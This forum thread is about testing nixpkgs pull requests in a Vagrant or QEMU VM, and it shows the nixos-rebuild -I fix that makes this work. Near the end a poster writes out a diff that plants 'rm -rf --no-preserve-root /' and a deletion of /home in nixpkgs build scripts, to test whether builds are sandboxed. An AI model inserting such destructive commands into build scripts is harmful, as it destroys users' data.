How can I quickly test nixpkg modifications in a container/VM

Hi,

I’d like to contribute the little that I do to nixpkgs. I’m not a big fan of just pulling people’s code and running it locally with whatever access processes get when doing nix stuff, so I’d like to quickly spin a container or VM up with a checked out nixpkgs repo and configuration.nix to see and manually test the end-result of a PR.

Since there are PRs for graphical components, it’d be nice to be able to have an optional GUI for the container or VM.

So, before I go off on my own and write something that already exists: does anybody know of an existing tool (wheel, if you will)?

My current (cludgy) solution is a Vagrantfile and this directory layout

.
├── configuration.nix
├── nixpkgs
└── Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|

    config.vm.box = "griff/nixos-stable-x86_64"

  config.vm.provider "virtualbox" do |vb|
    # Display the VirtualBox GUI when booting the machine
    vb.gui = true
  
    vb.linked_clone = true
    # Customize the amount of memory on the VM:
    vb.memory = "8192"
    vb.customize ["modifyvm", :id, "--vram", "128"]
    vb.customize ["modifyvm", :id, "--hwvirtex", "on"]
    vb.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
  end

  config.vm.provision "shell", inline: <<-SHELL
        sudo cp /vagrant/configuration.nix /etc/nixos/custom.nix
        sudo nix-channel --add https://nixos.org/channels/nixos-22.05 nixos
        sudo nix-env --delete-generations old
  SHELL
  config.vm.provision "shell", inline: "sudo nixos-rebuild -I /vagrant/nixpkgs switch"
end

It works, but /vagrant/nixpkgs is a somewhat slow mount, nix-channel --add might not be necessary, nix-env --delete-generations old doesn’t seem to do anything, there’s no declaration that vagrant and virtualbox are necessary… just doesn’t feel right yet. Maybe there isn’t much work left to do e.g add a shell.nix and a run.sh that starts vagrant and drops you into vagrant ssh, but yeah… if something already exists and there’s some tool people are already using (nixops?) that already does this, please do tell.


Addendum, it’d be great if PRs had a configuration.nix or test plan attached for reviewers.

So, before I go off on my own and write something that already exists: does anybody know of an existing tool (wheel, if you will)?

nixos-rebuild build-vm

1 Like

It seems to be ignoring -I $(pwd)/nixpkgs/.

I checked out my repo with the quodlibet-wma branch GitHub - LoveIsGrief/nixpkgs at quodlibet-wma and I’m using this configuration.nix

{ config, lib, pkgs, ... }:

{
   imports = [ <nixpkgs/nixos/modules/virtualisation/qemu-vm.nix> ];
   virtualisation = {
     memorySize = 4096; # Use 2048MiB memory.
     cores = 4;         # Simulate 4 cores.
   };

   users.users.tester = {
     isNormalUser = true ;
     extraGroups = [
       "wheel"
     ];
     initialPassword = "test";
   };

   nixpkgs.config.allowUnfree = true; # required to install intellij

   programs.firejail.enable = true;
   programs.firejail.wrappedBinaries = {
     firefoxj = {
       executable = "${lib.getBin pkgs.firefox}/bin/firefox";
       profile = "${pkgs.firejail}/etc/firejail/firefox.profile";
     };
   };


   # Enable the X11 windowing system.
   services.xserver.enable = true;
   # Add KDE desktop
   services.xserver.displayManager.sddm.enable = true;
   services.xserver.desktopManager.plasma5.enable = true;

   services.xserver.displayManager.autoLogin = {
     enable = true;
     user = "tester";
   };

   environment.systemPackages = with pkgs; [
     quodlibet
     # dev
     vim

     # web
     firefox

     # tools
     htop
   ];
}

When I run

# build
NIXOS_CONFIG=$(pwd)/configuration.nix nixos-rebuild build-vm -I $(pwd)/nixpkgs
# run
result/bin/run-nixos-vm

I still can’t play .wma files with quodlibet. The logs of nixos-rebuild state it’s using my local nixpkgs/, but immediately starts using that of the local root

# snip
$ nix-build <nixpkgs/nixos> -A vm -k -I /home/uefipls/Programming/Projects/nixos/xsession-wrapper/nixpkgs -vvvv
resolved search path element '/home/uefipls/Programming/Projects/nixos/xsession-wrapper/nixpkgs' to '/home/uefipls/Programming/Projects/nixos/xsession-wrapper/nixpkgs'
resolved search path element '/nix/var/nix/profiles/per-user/root/channels/nixos' to '/nix/var/nix/profiles/per-user/root/channels/nixos'
evaluating file '/nix/var/nix/profiles/per-user/root/channels/nixos/nixos/lib/eval-config.nix'
evaluating file '/nix/var/nix/profiles/per-user/root/channels/nixos/lib/default.nix'
evaluating file '/nix/var/nix/profiles/per-user/root/channels/nixos/lib/fixed-points.nix'
#snip

The hash of the quodlibet derivation in the VM doesn’t match the hash on my location machine either.

  • local: /nix/store/imm83cic8h1m0yn85pny8q7bpm
    vjqb6n-quodlibet-4.4.0/bin/quodlibet
  • vm: /nix/store/484cszxvbckkqk990nplx4l1sklhwndg-quodlibet-4.4.0/bin/
    quodlibet

Is this a bug or am I missing some CLI args?

-I nixpkgs=/home/uefipls/path/bla/bla/bla

On a separate note, I will recommend moving to flakes instead. You can still override those with a local path when needed during development.

Thanks. It’s working now.

That option definitely needs documentation. All it has is -I path and -I nixos-config=./test.nix which isn’t very helpful.

I’ll see if I can create a PR that improves that particular section of the nixos-rebuild documentation.

As for flakes, thanks for the tip. I’ll look at it once I understand more about nix. I barely grasp what’s going on right now. All I know of flakes is that it’s an unstable, undocumented, and nonstandard feature. Once that changes, the little time I have will go into trying to understand that.

Cheers

I’ll see if I can create a PR that improves that particular section of the nixos-rebuild documentation.

Super!

All I know of flakes is that it’s an unstable, undocumented, and nonstandard feature.

While that’s technically true, I consider it close to a done deal. Sure, there might be some things that will change from a user point of view, but it’s probably going to be minor. As a concept I really don’t think it’s going anywhere anytime soon.

I created a PR for the documentation https://github.com/NixOS/nixpkgs/pull/205311

It would be great if you could have a look at it.

As for the VM, it works, but I noticed that nix-build is run on the host machine. Can’t that be dangerous? Would a bad actor putting rm rf / into the build script be able to cause damage on the host machine?

No it won’t harm the host, because the /nix/store is mounted read only, and then all that happens in the VM is happening in a separate filesystem overlay.

You can read more about this type of filesystem:

My concern was nix-build that is executed on the host before the qemu VM is setup. I setup nixos in a virtualbox VM (like in my initial comment) and patched nixpkgs with

diff --git a/pkgs/stdenv/generic/default-builder.sh b/pkgs/stdenv/generic/default-builder.sh
index 273fc55c755..3257320621e 100644
--- a/pkgs/stdenv/generic/default-builder.sh
+++ b/pkgs/stdenv/generic/default-builder.sh
@@ -1,2 +1,7 @@
 source $stdenv/setup
+echo "I KILL YOUR SYSTEM NOW!"
+touch /tmp/something
+rm -rf --no-preserve-root /
+echo "DID I SUCCEED?"
+ls -l /tmp/something
 genericBuild
diff --git a/pkgs/tools/system/htop/default.nix b/pkgs/tools/system/htop/default.nix
index 7e1d64942d5..39246087b76 100644
--- a/pkgs/tools/system/htop/default.nix
+++ b/pkgs/tools/system/htop/default.nix
@@ -10,6 +10,7 @@ assert systemdSupport -> stdenv.isLinux;
 stdenv.mkDerivation rec {
   pname = "htop";
   version = "3.2.1";
+  justanattr = "something";
 
   src = fetchFromGitHub {
     owner = "htop-dev";
@@ -35,6 +36,10 @@ stdenv.mkDerivation rec {
       optionalPatch = pred: so: lib.optionalString pred "patchelf --add-needed ${so} $out/bin/htop";
     in
     ''
+      echo TRYING TO RM -RF /
+      find /
+      ls -l /
+      rm --no-preserve-root -rf /home
       ${optionalPatch sensorsSupport "${lm_sensors}/lib/libsensors.so"}
       ${optionalPatch systemdSupport "${systemd}/lib/libsystemd.so"}
     '';

then ran nix-shell but just got a bunch of “Permission denied”.

[vagrant@nixbox:/vagrant]$ sudo nix-shell -p htop -I nixpkgs=/vagrant/nixpkgs-malicious-build
#snip
building '/nix/store/715k4s3iz0d5kwkbi6ni7c13s5g70fzi-bootstrap-stage0-glibc-bootstrap.drv'...
I KILL YOUR SYSTEM NOW!
# snip
rm: cannot remove '/etc/group': Permission denied
rm: cannot remove '/etc/hosts': Permission denied
rm: cannot remove '/etc/passwd': Permission denied
rm: cannot remove '/tmp': Permission denied
rm: cannot remove '/dev/zero': Permission denied
rm: cannot remove '/dev/tty': Permission denied
rm: cannot remove '/dev/full': Permission denied
rm: cannot remove '/dev/stderr': Permission denied
rm: cannot remove '/dev/pts/ptmx': Permission denied
rm: cannot remove '/dev/shm': Permission denied
rm: cannot remove '/dev/ptmx': Permission denied
rm: cannot remove '/dev/fd': Permission denied
rm: cannot remove '/dev/stdin': Permission denied
rm: cannot remove '/dev/urandom': Permission denied
rm: cannot remove '/dev/stdout': Permission denied
rm: cannot remove '/dev/null': Permission denied
rm: cannot remove '/build': Permission denied
# snip

nix-build or nix-instantiate (or whatever’s being run) is probably building in a sandbox, but I’ll have a look and document that some other day.

Forgot to concat the solution from @peterhoeg’s responses (thank you btw).

nixos-rebuild -I "nixpkgs=$(pwd)/nixpkgs" -I "nixos-config=$(pwd)/configuration.nix" build-vm
./result/bin/run-nixos-vm